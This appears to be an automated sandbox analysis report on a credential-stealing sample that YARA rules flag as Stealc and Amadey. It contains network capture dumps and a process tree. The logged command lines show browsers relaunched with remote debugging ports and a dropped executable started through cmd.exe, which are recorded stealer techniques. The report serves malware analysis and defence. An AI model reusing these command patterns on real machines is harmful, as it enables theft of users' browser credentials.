2024-11-28 01:27:57 UTC	7952	IN	Data Raw: 4a 96 c4 8e 60 f7 a6 70 c6 b9 ba da c7 d4 3e 4c 09 36 e7 92 95 e9 f4 c8 3c 73 df a1 0a 46 bf a0 0f 25 de 9f 8f c3 99 b6 ed 39 f0 50 bd 3f ab 76 89 87 89 8c cd 42 6f 73 8f b2 75 79 7b 0d 42 3d 3f a7 2d 71 12 ec af d9 55 e2 c4 97 df cd d1 77 7d 49 fe f5 b8 98 e1 39 89 f2 93 c6 6d cd 70 b0 bf 41 f1 a8 d7 09 88 3c f2 34 3c 42 ce 33 8b ee d6 4f 5b e9 5a e2 43 45 41 ad 62 33 ea 12 ff 00 d9 6a 89 00 3a 99 01 45 27 d0 bd 8f 04 b4 83 e4 b1 cf b2 ab cb fa c7 93 ac e2 72 f0 58 93 79 2d ae 8f a4 71 70 83 1d 1d 91 e9 1f 65 e8 de 3f b8 f4 e6 c7 13 47 31 d1 79 ef 46 5b 13 df c2 93 45 df f5 9a ce d2 d2 69 6d b1 08 ea 54 bd af c3 a9 e8 b5 be 3e 88 fe 4c f2 bd b9 82 3c 6e a7 47 e8 bc 0f a3 f5 6f 6b a4 12 0d 3a 2f 6f a1 ac 35 85 e0 3b bd 66 cd 31 7d c6 80 46 e8 52 ed 3a f9 Data Ascii: J`p>L6<sF%9P?vBosuy{B=?-qUw}I9mpA<4<B3O[ZCEAb3j:E'rXy-qpe?G1yF[EimT>L<nGok:/o5;f1}FR:
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: 93 33 94 fb f7 4e c5 43 cb 62 a3 a8 36 ed 3d c5 04 71 f7 ef 75 93 ef df d5 04 af 88 5d 22 07 08 f1 8c 94 63 73 7a f7 ac 98 e1 dd f2 e5 d8 b4 bc 18 90 0f 87 b2 81 0e fd eb 1d 07 28 4d 3e fe 69 5c 5a 62 44 70 fb 2a 85 86 ef f4 59 84 67 96 de fb 90 8b 86 52 b2 56 90 c7 b5 58 04 2c 99 43 a1 d9 02 1b 74 55 3c ef ef e4 94 b5 b9 59 69 92 c1 da 55 58 41 19 ac 41 4f 14 aa d5 64 14 1e 15 6a a9 84 af 63 e7 31 11 ad 95 a1 bb a2 e2 02 c1 46 96 c0 24 2e 4a 5c 86 83 49 94 aa aa 88 aa ad 09 80 40 a8 ec 64 94 cd d3 dd 10 b8 70 46 9a 69 6a 04 22 b1 ce 40 26 54 1a 4a 55 89 95 46 26 58 11 d8 cc 46 10 20 69 2a 5b 58 05 6f 9a 24 45 80 a2 19 30 b2 d9 9c e4 07 6a 13 69 41 25 24 ca a9 b3 13 29 55 5a ab 2d 5b 09 c0 94 48 e8 a3 45 88 b8 bf bc 94 86 36 d2 47 b2 b1 91 e2 a4 3a 40 ae Data Ascii: 3NCb6=qu]"csz(M>i\ZbDpYgRVX,CtU<YiUXAAOdjc1F$.J\I@dpFij"@&TJUF&XF i[Xo$E0jiA%$)UZ-[HE6G:@
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: a6 31 92 7a 19 ae 67 6b 0f 92 47 bb 15 48 04 08 e6 06 67 39 2a fc 4c 56 d5 f3 0c a6 64 70 cc 78 ac fa af a3 91 69 d9 32 57 81 88 81 44 d1 4f 7e ec ba b8 1c 13 43 db c3 74 ec 27 f6 c9 e8 93 88 a5 bc 11 19 6f 31 cc 5a d7 b7 35 1a 17 e2 df 0b 83 76 06 29 ef ad d3 bf 4d b6 0d 34 bd 6b c3 ec 86 df 33 86 fc 04 78 a3 ea 34 40 75 c4 5a dc b3 9e de 4b 2d fc 01 84 b2 f0 6f 15 e0 ba fa 4f 73 5a 00 83 4b 19 83 cc 57 ea a3 69 3e 4b c5 43 80 06 b1 06 92 6f 9c 71 45 d4 d2 87 c4 e7 02 0c c7 02 2c 7b 56 6b 78 f1 cc 75 b1 fc 36 62 00 c6 a3 73 ce 49 9c c8 b7 48 5e 7b 56 d5 10 7b 78 5a 17 59 d6 d1 6d 41 89 9b 8e d1 be db ae 16 ab a5 e7 6b d8 52 38 6c b3 8b 59 d2 48 11 51 ee 2a 56 03 11 07 c1 2f 54 c0 8a c5 17 57 01 24 71 9c f8 7b b2 23 20 cc c5 c1 1c 0f 25 1c 53 c7 f5 53 b4 Data Ascii: 1zgkGHg9LVdpxi2WDO~Ct'o1Z5v)M4k3x4@uZK-oOsZKWi>KCoqE,{Vkxu6bsIH^{V{xZYmAkR8lYHQV/TW$q{# %SS
2024-11-28 01:27:57 UTC	7952	IN	Data Raw: 61 55 58 b5 05 55 62 d4 15 32 b0 b1 41 b5 44 6d 21 64 59 68 0a 34 d5 d1 69 86 d8 09 91 9d c4 70 b0 50 05 ec a7 c7 91 b5 bd a2 87 8c 0c b2 1b c2 cd 6e 04 46 1d a3 8c f7 28 ee 03 7a ee a4 38 8b db 28 f7 b2 88 63 82 a9 41 4a 9a 89 55 65 53 2c 5a 10 6c 6c b7 ad 92 f2 5a 2e 2a 81 9b 72 9f 0c f5 41 a2 34 84 56 ce 43 3a 8e ab ad a0 ef 29 07 8c 46 62 97 17 f7 75 c9 1f 90 af 0c d7 4f 4c 86 83 36 99 3d 6d 15 06 92 28 42 c5 6f 15 3c 26 2e 76 c9 44 73 70 99 ae 7d 0c fd 94 cc 25 e0 b8 48 88 e5 b1 26 8a 2b 8d a2 2e 77 af 6f 7a 2d 44 30 4a 12 23 8d ca 1c 2d b9 b5 3c de 7b ba 24 94 c2 c8 86 8e 94 f7 45 40 24 1a db dd 82 a0 d6 c2 f6 be 5d 46 df 55 4f 0e 05 14 61 76 9a 15 d2 f4 a3 03 89 13 31 13 52 2f 5c ea 2c b9 4c b7 cd 76 bd 3f e2 f8 75 c9 0d da 26 b9 c8 e2 b9 de 9d 31 Data Ascii: aUXUb2ADm!dYh4ipPnF(z8(cAJUeS,ZllZ.*rA4VC:)FbuOL6=m(Bo<&.vDsp}%H&+.woz-D0J#-<{$E@$]FUOav1R/\,Lv?u&1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49947	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:57 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 11:08:13 GMT X-Datacenter: northeu X-ActivityId: 01e23b13-0c41-4720-81b8-4b40bbbf8b50 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=78103 Expires: Thu, 28 Nov 2024 23:09:40 GMT Date: Thu, 28 Nov 2024 01:27:57 GMT Connection: close
2024-11-28 01:27:57 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 54 Data Ascii: V&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkVT
2024-11-28 01:27:57 UTC	2147	IN	Data Raw: c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a c2 Data Ascii: M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-28 01:27:58 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-28 01:27:58 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Target ID:	1
Start time:	20:27:08
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfe0000
File size:	1'779'712 bytes
MD5 hash:	155DD690D3F9997589275DC903C55840
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2730382945.00000000010AC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2173576711.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2730382945.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:27:19
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:27:20
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2864 --field-trial-handle=2212,i,4910576308310943370,12725647148356537901,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:27:30
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:27:30
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2356,i,13430815321648754466,13547412058668331737,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:27:30
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	20:27:31
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	20:27:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6576 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:27:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:27:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:27:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:27:59
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:27:59
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:27:59
Start date:	27/11/2024
Path:	C:\Users\user\DocumentsKJEGDBKFIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Imagebase:	0xf50000
File size:	1'915'904 bytes
MD5 hash:	27497D872004D9B173CA70DE453A9023
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2682054922.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2723063317.0000000000F51000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:28:02
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc50000
File size:	1'915'904 bytes
MD5 hash:	27497D872004D9B173CA70DE453A9023
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2710341590.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2751064570.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:28:02
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc50000
File size:	1'915'904 bytes
MD5 hash:	27497D872004D9B173CA70DE453A9023
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2709877046.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2750565197.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:28:31
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Imagebase:	0x7ff715da0000
